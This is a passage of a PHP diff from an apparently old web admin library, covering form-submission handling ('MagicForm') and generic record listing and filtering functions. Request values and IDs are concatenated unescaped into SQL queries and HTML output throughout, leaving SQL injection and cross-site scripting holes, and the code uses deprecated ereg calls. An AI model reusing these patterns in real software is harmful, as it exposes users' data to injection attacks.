+                       // If not at the last column, fill with blank cells before closing
+               if( $current_column < $mf_styles[$current_style]['cols'] )
+                       for( $i=$current_column ; $i<=$mf_styles[$current_style]['cols'] ; $i++ )
+                               $r['text'] .= $mf_styles[$current_style]['col_empty'];
+               $r['text'] .= $mf_styles[$current_style]['row_end'].$mf_styles[$current_style]['end'];
+               }
+
+       if( !empty($problem) )
+               echo "Problems processing this form.<p>$problem<p>";
+               
+       return( $r );
+
+       }
+
+       // MagicForm - Submit Form
+
+function magic_form_submit( $mf_id, $mf_fiid = null, $mf_def_data = null, $mf_level = 0 )
+       {
+
+       global $mf_formats;
+       
+       $mf_level++;            // Incriment MagicForm recurse level (not shure why we're doing this though)
+
+               // Get form field specifications
+               
+       $mf_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE );
+
+               // Initialize result array
+                       
+       $mf_results = array( 'success' => true, 'data' => array(), 'total_value' => 0, 'html' => '', 'csv' => ($mf_level==1?'"ID","Sub Form Level","Title","Type","Data","Value","Valid","Required","Notes"'."\n":''), 'problem' => '' );
+       
+       $problem = '';
+       $current_collumn = 1;
+       
+       $mf_total_value = 0;            // Accumulates a total of the optional value data for checkboxes, picklists, and radio buttons
+
+       if( is_array($mf_fields) )
+               {
+
+               reset( $mf_fields );
+               foreach( $mf_fields as $mf )
+                       {                                       
+
+                               // If it's a supplied data field and it's active
+                               
+                       if( $mf['type'] < 20 && $mf['active'] == 't' )
+                               {
+
+                                       // Determine Field ID
+                                       
+                               $mf_field_id = ( $mf['custom_id'] != '' ? $mf['custom_id'] : 'mf_'.$mf['id'] );
+
+                                       // If we didn't get previously submitted data
+                                       
+                               if( $mf_def_data == null )
+                                       $inp = stripslashes(str_replace("\r",'',trim($GLOBALS['mf_'.$mf['id']])));              // Get form input value
+                                 else
+                                       $inp = $mf_def_data[$mf_field_id];                      // Get value from supplied array
+                                       
+                               $res = array
+                                       (
+                                       'id'            => $mf_field_id,
+                                       'level'         => $mf_level,
+                                       'title'         => $mf['title'],
+                                       'type'          => $mf['type'],
+                                       'txt_typ'       => '',
+                                       'value'         => '',
+                                       'txt_val'       => '',
+                                       'opt_num'       => '',
+                                       'valid'         => true,
+                                       'required'      => false,
+                                       'numb_val'      => '',
+                                       'failure'       => ''
+                                       );
+
+                                       // Set text for field type
+                                       
+                               switch( $mf['type'] )
+                                       {
+                                       case 1:         $res['txt_typ'] = 'Checkbox';           break;  
+                                       case 2:         $res['txt_typ'] = 'Number';                     break;  
+                                       case 3:         $res['txt_typ'] = 'Text';                       break;  
+                                       case 4:         $res['txt_typ'] = 'Text Box';           break;  
+                                       case 5:         $res['txt_typ'] = 'Pick List';          break;  
+                                       case 6:         $res['txt_typ'] = 'Radio Buttons';      break;  
+                                       case 7:         $res['txt_typ'] = 'File Upload';        break;  
+                                       default:                                                                                break;  
+                                       }
+                                       
+                               $sub = '';                                                                                                                                      // Assume no sub-form
+                               
+                               // *** SHOULD PROBABLY CHECK DATA INPUT INTEGRITY HERE
+                               
+                                       // Check if a required field is not populated
+                                       
+                               if( $mf['type'] > 1 && $mf['type'] < 20 && $mf['required'] == 't' )
+                                       {
+                                       $res['required'] = true;
+                                       if( $inp == '' || ($mf_type['type']==7 && $inp=='none') )       // if field is required and not provided
+                                               {
+                                               $res['valid'] = false;
+                                               $res['failure'] = 'Required response not provided.';
+                                               $mf_results['problem'] .= '<li>"'.$mf['title'].'" requires a response that was not provided.</li>'."\n";
+                                               }
+                                       }
+                                       
+                               switch( $mf['type'] )
+                                       {
+                                               
+                                       case 1:         // Checkbox
+                                       
+                                               $ans = explode( "|", $mf['data1'] );                                    // Separate possible answers
+
+                                               $sub_id = '';
+                                               
+                                               if( $inp == 'on' )
+                                                       {
+                                                       $res['value'] = 't';
+                                                       $res['txt_val'] = 'Yes';
+                                                       $res['opt_num'] = '1';
+                                                       $an = explode( '~', $ans[0] );
+                                                       $sub_id = $an[1];
+                                                       if( $an[2] != '' )
+                                                               $res['numb_val'] = $an[2];
+                                                       
+                                                       }
+                                                 else
+                                                       {
+                                                       $res['value'] = 'f';                                                            
+                                                       $res['txt_val'] = 'No';
+                                                       $res['opt_num'] = '2';
+                                                       $an = explode( '~', $ans[1] );
+                                                       $sub_id = $an[1];
+                                                       if( $an[2] != '' )
+                                                               $res['numb_val'] = $an[2];
+                                                       }
+
+                                               if( $sub_id != '' )
+                                                       {
+                                                       $sub = magic_form_submit( $sub_id, $mf_fiid, $mf_def_data, $mf_level );
+                                                       if( !$sub['success'] )
+                                                               $mf_results['problem'] .= $sub['problem'];
+                                                         else
+                                                               $mf_total_value += $sub['total_value'];
+                                                       }
+
+                                               break;
+                                       
+                                       case 2:         // Number
+                                       
+                                               $inp = ereg_replace( "[\$,]", "", $inp ); 
+                                               
+                                       case 3:         // Text
+                                       case 4:         // Text Box
+
+                                                       // Extract field format specs
+                                                       
+                                               $mf_cf = explode( '~', $mf['format'] );
+                                               $mf_cf_size = $mf_cf[1] + ($mf_cf[2]>0?1:0) + $mf_cf[2]; 
+                                               $mf_cf_out = str_replace( '{chars}', $mf_cf[1], $mf_formats[$mf_cf[0]]['format'] );
+                                               $mf_cf_out = str_replace( '{prec}', $mf_cf[2], $mf_cf_out );
+
+                                               if( trim($inp) != '' )
+                                                       {
+                                                       if( $mf_cf[3] != '' && $inp < $mf_cf[3] )
+                                                               {
+                                                               $res['valid'] = false;
+                                                               $res['failure'] .= 'Value not in range';
+                                                               $mf_results['problem'] .= '<li>"'.$mf['title'].'" requires a value greater than or equal to '.$mf_cf[3].'.</li>'."\n";
+                                                               }
+                                                                                                                                       
+                                                       if( $mf_cf[4] != '' && $inp > $mf_cf[4] )
+                                                               {
+                                                               $res['valid'] = false;
+                                                               $res['failure'] .= 'Value not in range';
+                                                               $mf_results['problem'] .= '<li>"'.$mf['title'].'" requires a value less than or equal to '.$mf_cf[4].'.</li>'."\n";
+                                                               }
+                       
+                                                       if( $mf_formats[$mf_cf[0]]['regex'] != '' && preg_match( '/^'.$mf_formats[$mf_cf[0]]['regex'].'$/', $inp ) == 0 )
+                                                               {
+                                                               $res['valid'] = false;
+                                                               $res['failure'] .= 'Input format not valid';
+                                                               $mf_results['problem'] .= '<li>"Value supplied to '.$mf['title'].'" was not valid. Must be '.$mf_cf['0'].' (i.e. '.$mf_formats[$mf_cf[0]]['sample'].').</li>'."\n";
+                                                               }
+                                                       }
+                                                                                                       
+                                               $res['value'] = ( $mf_cf_out != '' ? sprintf( $mf_cf_out, $inp ) : $inp );
+
+                                               break;
+                               
+                                       case 5:         // Picklist
+
+                                               $res['opt_num'] = $inp;
+                                               $opts = explode( "|", $mf['data1'] );           // Separate Options
+                                               if( $inp != '' )                                                        // If an options is selected
+                                                       {               
+                                                       $x = explode( "~", $opts[$inp-1] );             // Separate data for selected option                                            
+                                                       $res['value'] = $x[0];                                  // Use option name
+                                                       if( $x[2] != '' )
+                                                               $res['numb_val'] = $x[2];
+                                                       }
+                                                 else
+                                                       $res['value'] = '';
+                                               
+                                                       // Check selected option for Sub-Form
+
+                                               $n = 1;                                                 
+                                               foreach( $opts as $opt )
+                                                       {
+                                                       $an = explode( "~", $opt );
+                                                       if( $inp == $n && !empty($an[1]) )
+                                                               {
+                                                               $sub = magic_form_submit( $an[1], $mf_fiid, $mf_def_data, $mf_level );
+
+                                                               if( !$sub['success'] )
+                                                                   $mf_results['problem'] .= $sub['problem'];
+                                                                 else
+                                                                       $mf_total_value += $sub['total_value'];
+                                                               }
+                                                       $n++;
+                                                       }
+
+                                               break;
+                               
+                                       case 6:         // Radio Buttons
+                                               
+                                               $res['opt_num'] = $inp;
+                                               $opts = explode( "|", $mf['data1'] );           // Separate Options
+                                               if( $inp != '' )                                                        // If an options is selected
+                                                       {               
+                                                       $x = explode( "~", $opts[$inp-1] );             // Separate data for selected option                                            
+                                                       $res['value'] = $x[0];                                  // Use option name                                                      
+                                                       if( $x[2] != '' )
+                                                               $res['numb_val'] = $x[2];
+                                                               
+                                                       }
+                                                 else
+                                                       $res['value'] = '';
+                                                       
+                                               $opts = explode( "|", $mf['data1'] );
+                                               
+                                                       // Check selected button for Sub-Form
+                                               
+                                               $n = 1;
+                                               foreach( $opts as $opt )
+                                                       {
+                                                       $an = explode( "~", $opt );
+                                                       if( $inp == $n && !empty($an[1]) )
+                                                               {
+                                                               $sub = magic_form_submit( $an[1], $mf_fiid, $mf_def_data, $mf_level );
+
+                                                               if( !$sub['success'] )
+                                                                   $mf_results['problem'] .= $sub['problem'];
+                                                                 else
+                                                                       $mf_total_value += $sub['total_value'];
+                                                               }
+                                                       $n++;
+                                                       }
+
+                                               break;
+                                       
+                                       case 7:         // File Upload
+
+                                                       // Note that $inp is the /temp file name for the uploaded file
+                                                                                                               
+                                               $existing_filename = $GLOBALS['exist_mf_'.$mf['id']];
+                                               $new_filename = trim($GLOBALS['mf_'.$mf['id'].'_name']);
+                                               
+                                                       // If delete is requested or there's a new file upload AND there's an existing file, then delete the old one
+                                                       
+                                               if( $mf_def_data != null )
+                                                       {
+                                                               // Note that $inp is the /temp file name for the uploaded file
+                                                                                                                       
+                                                       $existing_filename = stripslashes($GLOBALS['exist_mf_'.$mf['id']]);
+                                                       $new_filename = trim(stripslashes($GLOBALS['mf_'.$mf['id'].'_name']));
+                                                       
+                                                               // If delete is requested or there's a new file upload AND there's an existing file, then delete the old one
+                                                               
+                                                       if( ( $GLOBALS['delete_mf_'.$mf['id']] == 'on' || $new_filename != '' ) && $existing_filename != '' )
+                                                               {
+                                                               file_delete( $existing_filename );
+                                                               $existing_filename ='';
+                                                               }
+                                                               
+                                                       if( trim($inp) != '' && $inp != 'none' )
+                                                               {
+                                                               if( !($new_filename = file_upload( $inp, $new_filename )) )
+                                                                       {
+                                                                       $mf_results['problem'] .= '<li>Unable to upload file for "'.$mf['title'].'".</li>'."\n";
+                                                                       $new_filename = '';
+                                                                       }
+                                                               }
+                                                         else
+                                                               $new_filename = $existing_filename;
+                                                       }
+                                                 else
+                                                       $new_filename = $mf_def_data[$mf_field_id];             // Previous data was supplied, so just use that
+                                                                                                                       
+                                               $res['value'] = $new_filename;
+                                               $res['txt_val'] = '<a href="'.SI_BASE_FILE_URL.'/'.$new_filename.'" target="file_page">'.$new_filename.'</a>';
+                                                       
+                                                       
+                                               break;
+                               
+                                       default:
+                                               break;
+
+                                       }       // Type
+
+                                       // Push the current result and any sub-form results onto the end of the result array.
+
+                               $mf_results['data'][$mf['id']] = $res;
+                               $mf_results['csv'] .= '"'.$res['id'].'","'.$res['level'].'","'.$res['title'].'","'.$res['txt_typ'].'","'.$res['value'].'","'.$res['numb_val'].'","'.($res['valid']?'t':'f').'","'.($res['required']?'t':'f').'","'.$res['failure'].'"'."\n";
+                               $x = ''; for( $i=0 ; $i<$mf_level ; $i++ ) $x .= '&nbsp;&nbsp;'; 
+                               $mf_results['html'] .= '<tr><td align="left">'.$res['id'].'</td><td align="left">'.$x.$res['title'].'&nbsp;</td><td align="left">'.$res['txt_typ'].'&nbsp;</td><td align="left">'.( $res['txt_val'] != '' ? $res['txt_val'] : $res['value'] ).'&nbsp;</td><td align="left">'.$res['numb_val'].'&nbsp;</td><td align="left">'.($res['valid']?'Yes':'No').'</td><td align="left">'.($res['required']?'Yes':'No').'</td><td align="left">'.$res['failure'].'&nbsp;</td></tr>'."\n";
+                               
+                                       // If there's a sub-form
+                                       
+                               if( is_array($sub) )
+                                       {
+
+                                               // Add data from sub-form
+                                               
+                                       $mf_results['html'] .= $sub['html'];
+                                       $mf_results['csv'] .= $sub['csv'];
+                                       while( list($key, $val) = each($sub['data']) )
+                                               $mf_results['data'][$key] = $val; 
+                                       }
+
+                               }       // Active
+
+                       }       // Each field
+
+               }
+
+       if( $mf_level == 1 )
+               $mf_results['html'] = '<table border="1" cellpadding="2" cellspacing="0"><tr><th align="left">Field ID</th><th align="left">Title</th><th align="left">Type</th><th align="left">Data</th><th align="left">Value</th><th align="left">Data Valid</th><th align="left">Required</th><th align="left">Failure</th></tr>'."\n".$mf_results['html']."</table>\n";
+
+       if( $mf_results['problem'] != '' )
+               $mf_results['success'] = false;
+
+       $mf_results['total_value'] = $mf_total_value;
+                       
+       return( $mf_results );
+       
+       }
+
+       // MagicForm - Store Data
+
+function magic_form_store_data( $mf_id, $mf_fiid, $mf_def_data )
+       {
+
+               // Delete any files associated with this data
+
+       if( ($pd = db_auto_get_data( "SELECT * FROM ".MF_DATA_TABLE." WHERE fiid = $mf_fiid;")) )
+               foreach( $pd as $p )
+                       {
+                               // For each field of data stored, check if there's a file associated with it
+                               
+                       switch( $p['type'] )
+                               {
+                               case 7: // File Upload
+                                       file_delete( $p['value'] );
+                                       break;
+                               
+                               default:
+                                       break;
+                               }       
+                       }
+       
+               // Delete previous entries using the supplied form instance id ($mf_fiid)
+               
+       $qs = "BEGIN;\nDELETE FROM ".MF_DATA_TABLE." WHERE fiid = $mf_fiid;\n";
+               
+               // Store new data
+       
+       foreach( $mf_def_data as $mf )
+               {
+               $qs .= "INSERT INTO ".MF_DATA_TABLE." ( fiid, form_id, field_id, level, title, type, txt_type, value, numb_val, txt_value, opt_num, valid, required, failure )
+                                               VALUES ( $mf_fiid, $mf_id, '".addslashes($mf['id'])."', ".$mf['level'].", '".addslashes($mf['title'])."', ".$mf['type'].", '".addslashes($mf['txt_type'])."', '".addslashes($mf['value'])."', 
+                                                               ".($mf['numb_val']!=''?$mf['numb_val']:0).", '".addslashes($mf['txt_value'])."', ".($mf['opt_num']>0?$mf['opt_num']:0).", '".($mf['valid']?'t':'f')."', '".($mf['required']?'t':'f')."', '".addslashes($mf['failure'])."' );\n";  
+               }
+       $qs .= "COMMIT;\n";
+
+       if( !db_auto_exec($qs) )
+               return( false );
+         else
+               return( true );
+       
+       }
+
+       
+/***********************************************************************
+*                                                                      *
+*      Support funtions for High Level Admin Functions                 *
+*                                                                             *
+***********************************************************************/
+
+
+       // Explode a string into pieces and trims whitespace from ends of each piece. 
+
+function explode_trim( $separator, $string )
+{
+
+       $a = explode( $separator, $string );
+       
+       foreach( $a as $key => $data )
+               $a[$key] = trim($data);
+               
+       return( $a );
+
+}
+
+
+/***********************************************************************
+*                                                                      *
+*                   High Level Admin Functions                         *
+*                                                                             *
+***********************************************************************/
+
+       // The "JFDI" function - Fully process a data table
+       
+function admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields,
+       $options, $rows, $url, $action, $params, $a_title, $view, $Option, $start, $other_options = '', $a_title_view = '', $quick_tip = '', $id_field = '' ) 
+{
+
+       $a_title_view = ereg_replace( "\\{action\\}", $Option, $a_title_view );
+
+       switch( $Option )
+               {
+               
+               case "Add":
+
+                       return( admin_new_record_r
+                                       (
+                                       $table,
+                                       $conn_str,
+                                       admin_field_select( $fields, 'n' ),
+                                       $url,
+                                       $action,
+                                       $params,
+                                       (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">New $a_title</SPAN><P>":$a_title_view),
+                                       $view['Add'],
+                                       $other_options,
+                                       $quick_tip
+                                       )
+                               );
+               
+                       break;
+                       
+               case "Add New":
+               
+                       $r = admin_add_new_record_r
+                               (
+                               $table,
+                               $conn_str,
+                               admin_field_select( $fields, 'a' ),
+                               $url,
+                               $action,
+                               $params,
+                               (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Add New $a_title</SPAN><P>":$a_title_view),
+                               $view['Add New'],
+                               $quick_tip
+                               );
+
+                               // If successfull see if we can get the new record ID and view it
+/* Don't do this right now...
+ *                             
+                       if( $r['status'] )
+                               {
+                                       // On success Add New returns the OID of the new record - get ID for next call
+                       
+                               if( ($d = db_auto_get_row( "SELECT id FROM $table WHERE oid = ".$r['status'].";" )) )
+                                       $id = $d['id'];
+                                 else
+                                       return( $r );           // If we can't get ID then just give up and return
+
+                                       // If all is OK, then call again to do a View
+                                       
+                               $r = admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields, $options, $rows, $url, $action, $params, $a_title, $view, 'View', $start, $other_options, $a_title_view, $quick_tip );
+                               }
+*/
+                               
+                       return( $r );
+                       
+                       break;
+               
+               case "Edit":
+               
+                       return( admin_edit_record_r
+                                       (
+                                       $table,
+                                       $conn_str,
+                                       $id,
+                                       admin_field_select( $fields, 'e' ),
+                                       $url,
+                                       $action,
+                                       $params,
+                                       (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Edit $a_title</SPAN><P>":$a_title_view),
+                                       $view['Edit'],
+                                       $other_options,
+                                       $quick_tip
+                                       )
+                               );
+                               
+                       break;
+               
+               case "Update":
+               
+                       $r = admin_update_record_r
+                               (
+                               $table,
+                               $conn_str,
+                               $id,
+                               admin_field_select( $fields, 'u' ),
+                               $url,
+                               $action,
+                               $params,
+                               (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Update $a_title</SPAN><P>":$a_title_view),
+                               $view['Update'],
+                               $quick_tip
+                               );
+                               
+                               // If successful update then call again to do a View of the updated record
+                               
+                       if( $r['status'] )
+                               return( admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields, $options, $rows, $url, $action, $params, $a_title, $view, 'View', $start, $other_options, $a_title_view, $quick_tip ) );
+                       
+                       return( $r );
+
+                       break;
+
+               case "Delete":
+
+                       return( admin_delete_record_r
+                                       ( 
+                                       $table,
+                                       $conn_str,
+                                       $id,
+                                       admin_field_select( $fields, 'd' ),
+                                       $options,
+                                       $url,           
+                                       $action,
+                                       $params,
+                                       (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Delete $a_title</SPAN><P>":$a_title_view),
+                                       $view['Delete'],
+                                       $quick_tip
+                                       )
+                               );
+
+                       break;
+                       
+               case "Confirm Delete":
+               
+                       $r = admin_confirm_delete_record_r
+                               (
+                               $table,
+                               $conn_str,
+                               $id,
+                               admin_field_select( $fields, 'c' ),
+                               $url,
+                               $action,
+                               $params,
+                               (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Confirm Delete $a_title</SPAN><P>":$a_title_view),
+                               $view['Confirm Delete'],
+                               $quick_tip
+                               );
+
+                               // If successful delete then call again to do a List
+                               
+                       if( $r['status'] )
+                               return( admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields, $options, $rows, $url, $action, $params, $a_title, $view, 'List', $start, $other_options, $a_title_view, $quick_tip ) );
+                       
+                       return( $r );
+
+                       break;
+                       
+               case "View":
+
+                       return( admin_view_record_r
+                                       (
+                                       $table,
+                                       $conn_str,
+                                       $id,
+                                       admin_field_select( $fields, 'v' ),
+                                       $url,
+                                       $action,
+                                       $params,
+                                       (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">View $a_title</SPAN><P>":$a_title_view),
+                                       $view['View'],
+                                       $other_options,
+                                       $quick_tip,
+                                       $id_field
+                                       )
+                               );
+
+                       break;
+
+               default:        
+
+                       return( admin_list_records_r
+                                       ( 
+                                       $table,
+                                       $where,
+                                       $order,
+                                       $conn_str,
+                                       admin_field_select( $fields, 'l' ),
+                                       $options,
+                                       FALSE,
+                                       $rows,  
+                                       $start,
+                                       $url,
+                                       $action,
+                                       $params,
+                                       admin_field_select( $fields, 'f' ),
+                                       (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">List $a_title</SPAN><P>":$a_title_view),
+                                       $view['List'],
+                                       $id_field,
+                                       $quick_tip
+                                       )
+                               );
+                               
+                       break;
+               
+               } // switch( $Option )
+
+}
+
+function admin_process_records( $table, $where, $order, $conn_str, $id, $fields,
+       $options, $rows, $url, $action, $params, $a_title, $view, $Option, $start, $other_options = '', $a_title_view = '', $quick_tip = '' ) 
+{
+       $r = admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields,
+                               $options, $rows, $url, $action, $params, $a_title, $view, $Option, $start, $other_options, $a_title_view, $quick_tip );
+       echo $r['text'];
+       return( $r['status'] ); 
+}
+
+
+       // List records from a table
+       
+function admin_list_records_r( $table, $where, $order, $conn_str, $fields,
+                               $options, $fail_mode, $rows = 20, $start = 0,
+                               $url, $action, $params, $filters, $a_title, $view = "", $id_field = "", $quick_tip = '' )
+{
+
+       $ret = '';
+
+               // Make all submitted parameters available
+
+//     extract($GLOBALS[HTTP_GET_VARS]);
+//     extract($GLOBALS[HTTP_POST_VARS]);
+
+               // Make sure we have something rational for rows and start
+               
+       if( $rows == '' ) $rows = 20;
+       if( $start == '' ) $start = 0;
+       
+               // Break out configuration data
+
+       $field_table = explode_trim( "|", $fields );
+
+               // Don't be surprised if last field is blank
+               
+       if( trim($field_table[count($field_table)-1]) == "" )
+               array_pop( $field_table );
+
+       foreach( $field_table as $key => $r )
+               {
+               $field_table[$key] = explode_trim( ",", $r );
+               $hidden[$key] = ereg( "HIDDEN", $field_table[$key][3] );
+               }
+
+       $operation_column = $option_new = $option_view = $option_edit = $option_delete = $option_duplicate = $option_filter = $option_nopaging = $option_noborder = $option_opview = FALSE;
+
+       if( ! empty($options) )
+               {
+               $option_table = explode_trim( ",", $options );
+               foreach( $option_table as $option )
+                       {
+                               
+                       $op = explode_trim( ".", $option );                             // Separate option name from option parameters
+                       
+                       switch( $op[0] )
+                               {
+                               case "new":
+                                       $option_new = TRUE;
+                                       break;
+
+                               case "view":
+                                       $option_view = TRUE;
+                                       $operation_column = TRUE;
+                                       break;
+
+                               case "edit":
+                                       $option_edit = TRUE;
+                                       $operation_column = TRUE;
+                                       break;
+
+                               case "delete":
+                                       $option_delete = TRUE;
+                                       $operation_column = TRUE;
+                                       break;
+
+                               case "duplicate":
+                                       $option_duplicate = TRUE;
+                                       $operation_column = TRUE;
+                                       break;
+
+                               case "filter":
+                                       $option_filter = TRUE;
+                                       break;
+
+                               case "sortlinks":
+                                       $option_sortlinks = TRUE;
+                                       break;
+
+                               case "nopaging":
+                                       $option_nopaging = TRUE;
+                                       break;
+
+                               case "noborder":
+                                       $option_noborder = TRUE;
+                                       break;
+                                       
+                               case "opview":
+                                       $option_opview = TRUE;
+                                       $opview = $op[1];                                       // Get view for operation column
+                                       $operation_column = TRUE;
+                                       break;
+                                       
+                               default:
+//                                     $ret .=  '<H2><FONT COLOR="red">ERROR: Illegal Option Specified: -'.$option.'-</FONT></H2>';
+                                       break;
+                               }
+                       }
+               }
+       
+               // Check for additional parameters that are passed
+
+       $link_params = $form_params = "";
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+
+               // Check if a column lable has been clicked to cause a sort of that column
+               
+       if( !empty($GLOBALS['sortclicked_new']) )
+               {
+
+                       // Clicking the same column title toggles between ascending and descending sort
+                       
+               if( $GLOBALS['list_sort_direction'] == 'Forward'  )
+                       $list_sort_direction = "Backward";
+                 else
+                       $list_sort_direction = 'Forward';
+                       
+               $sortclicked = $GLOBALS['sortclicked_new'];
+               $link_params .= '&sortclicked='.$sortclicked."&list_sort_direction=$list_sort_direction";
+               $form_params .= '<INPUT TYPE="hidden" NAME="sortclicked" VALUE="'.$sortclicked.'">';
+               $form_params .= '<INPUT TYPE="hidden" NAME="list_sort_direction" VALUE="'.$list_sort_direction.'">';
+               }
+         elseif( !empty($GLOBALS['sortclicked']) )
+               {
+               $sortclicked = $GLOBALS['sortclicked'];
+               $list_sort_direction = $GLOBALS['list_sort_direction'];
+               $link_params .= '&sortclicked='.$sortclicked."&list_sort_direction=$list_sort_direction";
+               $form_params .= '<INPUT TYPE="hidden" NAME="sortclicked" VALUE="'.$sortclicked.'">';
+               $form_params .= '<INPUT TYPE="hidden" NAME="list_sort_direction" VALUE="'.$list_sort_direction.'">';
+               }
+               
+               // Display optional filter search fields and build query string
+               
+       $qs = empty($where) ? "WHERE TRUE " : "WHERE ".$where ;
+
+       if( $option_filter )
+               {
+               $filter_out = ' 
+                       <FORM ACTION="'.$url.'">
+                               <INPUT TYPE="hidden" NAME="Option" VALUE="List">
+                               <B>Select items to list</B><BR>
+                               <TABLE BORDER="0">
+                    ';
+                       
+               $filter_link = "";                                      // Added to link to pass on filter data
+               $filter = explode_trim( "|", $filters );
+               foreach( $filter as $filter_field )
+                       {
+                       $f = explode_trim( ",", $filter_field );        // Split field specs
+                       $ft = explode_trim( "~", $f[2] );                       // Separate QuickTips from titles
+                       $w = explode_trim( "`", $f[1] );                        // Separate out any format spec
+                       $x = explode_trim( ".", $w[0] );                        // Split type specs
+                       $option = $x[1]!="" ? $x[1] : "none" ;
+                       $filter_value = isset($f[3]) ? $GLOBALS[$f[3]] : $GLOBALS[$f[0]]; // if no value field specified, use field name
+                       
+                               // Display Filter Title - With QuickTip if specified
+                                               
+                       if( count($ft) > 1 )
+                               $filter_out .= '<TR><TH ALIGN="right" VALIGN="top">'.quick_tip( $ft[0], $ft[1] ).'</TH><TD ALIGN="left">';
+                         else
+                               $filter_out .= '<TR><TH ALIGN="right" VALIGN="top">'.$ft[0].'</TH><TD ALIGN="left">';
+
+                               // Add any filter value to $filter_link
+       
+                       if( !empty($filter_value) )
+                               {
+                               if( is_array($filter_value) )
+                                       {
+                                       $fvc = 0;
+                                       foreach( $filter_value as $fv )
+                                               if( trim($fv) != '' )
+                                                       {
+                                                       $filter_link .= "&".$f[0]."[$fvc]=".$fv;
+                                                       $fvc++;
+                                                       }
+                                       }
+                                 else
+                                       $filter_link .= "&".$f[0]."=".$filter_value;
+                               }
+
+                               // Display filter field
+
+                       switch( $x[0] )                         // Handle different field types
+                               {
+                               case "password":
+                               case "image":
+                                       $filter_out .= '&nbsp';         // No filters for these types
+                                       break;
+
+                               case "url":
+                               case "text":
+                               case "textbox":
+                               case "inet":
+                                       $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'" VALUE="'.$filter_value.'">';
+                                       if( !empty($filter_value) )             // If a value is passed, add to query
+                                               switch( $option )
+                                                       {
+                                                       case "like":
+                                                               $qs .= " AND ".$f[0]." LIKE '%".$filter_value."%'";
+                                                               break;
+                                                       case "begin":
+                                                               $qs .= " AND ".$f[0]." ~* '^".$filter_value."'";
+                                                               break;
+                                                       case "any":
+                                                       default:
+                                                               $qs .= " AND ".$f[0]." ~* '".$filter_value."'";
+                                                               break;
+                                                       }
+                                       break;
+                                       
+                               case "state":
+                                       $filter_out .= build_picklist( $f[0], $GLOBALS['si_states_array'], $filter_value, 'standard', 'blank' );
+                                       if( $filter_value != '' )
+                                               $qs .= ' AND '.$f[0]." = '".$filter_value."'";
+                                       break;
+
+                               case "country":
+                                       $filter_out .= build_picklist( $f[0], $GLOBALS['si_countries_array'], $filter_value, 'standard', 'blank' );
+                                       if( $filter_value != '' )
+                                               $qs .= ' AND '.$f[0]." = '".$filter_value."'";
+                                       break;
+
+                               case "date":
+                                       $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'" VALUE="'.$filter_value.'">';
+                                       if( !empty($filter_value) )             // If a value is passed, add to query
+                                               switch( $option )
+                                                       {
+                                                       default:                // Options are not used for date at this time
+                                                               $qs .= " AND ".$f[0]." = '".$filter_value."'";
+                                                               break;
+                                                       }
+                                       break;
+                                               
+                               case "daterange":
+                                               // Clean up dates
+                                       if( trim($GLOBALS[$f[3].'_FROM'] ) != '' )      $GLOBALS[$f[3].'_FROM'] = date( 'n/j/Y', strtotime($GLOBALS[$f[3].'_FROM']) );                                          
+                                       if( trim($GLOBALS[$f[3].'_TO'] ) != '' )        $GLOBALS[$f[3].'_TO'] = date( 'n/j/Y', strtotime($GLOBALS[$f[3].'_TO']) );                                              
+                                       $filter_out .= 'From <INPUT TYPE="text" NAME="'.$f[0].'_FROM" VALUE="'.$GLOBALS[$f[3].'_FROM'].'"> To <INPUT TYPE="text" NAME="'.$f[0].'_TO" VALUE="'.$GLOBALS[$f[3].'_TO'].'">';
+                                               // If Dates are not valid
+                                       if( ( trim($GLOBALS[$f[3].'_FROM']) != '' && strtotime($GLOBALS[$f[3].'_FROM']) === -1 ) ||
+                                               ( trim($GLOBALS[$f[3].'_TO']) != '' && strtotime($GLOBALS[$f[3].'_TO']) === -1 ) )
+                                               {
+                                               $filter_out .= '<BR>(<FONT COLOR="red">Note:</FONT> Invalid date specified)';
+                                               break;
+                                               }
+                                         else
+                                               {
+                                                       // If we have both dates of a range
+                                               if( !empty($GLOBALS[$f[3].'_FROM']) && !empty($GLOBALS[$f[3].'_TO']) )          // If a value is passed, add to query
+                                                       switch( $option )
+                                                               {
+                                                               default:                // Options are not used for date at this time
+                                                                       $qs .= " AND ".$f[0]." BETWEEN '".$GLOBALS[$f[3].'_FROM']."' AND '".$GLOBALS[$f[3].'_TO']."'";
+                                                                       break;
+                                                               }
+                                                 else  // Otherwise check if there's only one date submitted
+                                                       if( !empty($GLOBALS[$f[3].'_FROM']) || !empty($GLOBALS[$f[3].'_TO']) )
+                                                               $filter_out .= '<BR>(<FONT COLOR="red">Note:</FONT> both From and To required to specify date range)';
+                                               }
+                                       break;
+
+                               case "order":
+                               case "int":
+                               case "float":
+                               case "fixed":
+                                       $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'" VALUE="'.$filter_value.'">
+                                            ';
+                                       if( !empty($filter_value) )     // Note: No filter options on type "int"
+                                               $qs .= " AND ".$f[0]." = ".$filter_value."";
+                                       break;
+
+                               case "checkbox":
+                                       if( empty($filter_value) )
+                                               $x = 1;
+                                         else
+                                               $x = $filter_value;
+                                       $filter_out .= '
+                                                       <SELECT NAME="'.$f[0].'">
+                                                               <OPTION VALUE="1" '.($x==1?"SELECTED":"").'>Don\'t care
+                                                               <OPTION VALUE="2" '.($x==2?"SELECTED":"").'>Yes
